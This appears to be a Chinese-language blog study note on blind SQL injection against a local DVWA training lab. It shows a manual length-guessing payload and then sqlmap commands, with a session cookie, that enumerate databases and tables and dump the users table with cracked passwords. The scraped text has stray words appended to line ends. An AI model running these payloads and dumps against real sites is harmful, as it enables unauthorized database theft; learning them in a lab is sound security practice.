Web安全测试学习笔记 - SQL注入-盲注(使用sqlmap)

 以前的sql注入页面(http://www.javashuo.com/article/p-clbaglhr-cz.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种状况,错误信息页面也被屏蔽了,这种状况下咱们能获得的信息不多,且须要本身判断注入是否成功,因此叫盲注(名字很形象啊~)html

     

盲注的注入方法,简单来讲就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:python

输入:1' and length(database()) = 1 #git

输出:User ID is MISSING from the databasegithub

根据输出,数据库名长度不为1,而后再猜想2,3,4。。。直到猜对为止,而后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称算法

 

Hmmm...这样猜来猜去很费时间啊,这种事情是否是能够自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmapsql

1. sqlmap介绍数据库

这个工具是开源的,官网和github均可如下载。在使用以前,须要先安装python环境。如下是sqlmap的自我介绍cookie

2. sqlmap启动测试工具

打开命令行工具,进入sqlmap解压后所在的文件夹,个人路径是E:\...\sqlmap,输入python sqlmap.py,看到以下信息说明sqlmap已经能够正常使用测试

3. 用sqlmap获取全部数据名称

用F12看了下当前页面,这个页面是须要登陆凭证的,因此使用sqlmap时也要带上登陆凭证

 输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs

输出:sqlmap拿到了全部数据库名称

 

4. 用sqlmap获取当前数据名称

输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db

输出:当前数据库名称为dvwa

 5. 用sqlmap获取当前数据中的全部表名

输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables

输出:表名为guestbook和users

6. 用sqlmap获取users表中的全部数据

输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users  --dump

输出:拿到表中全部数据, 还把密码给破解了。。。不要太贴心啊~

 

 

一点点感悟:

1. 敏感信息不要用太简单的加密算法,很容易被破解。。。

2. 用cookie存储登陆凭证有风险,或者说会增长风险

 

如需转载,请注明出处,这是对他人劳动成果的尊重~

相关文章
相关标签/搜索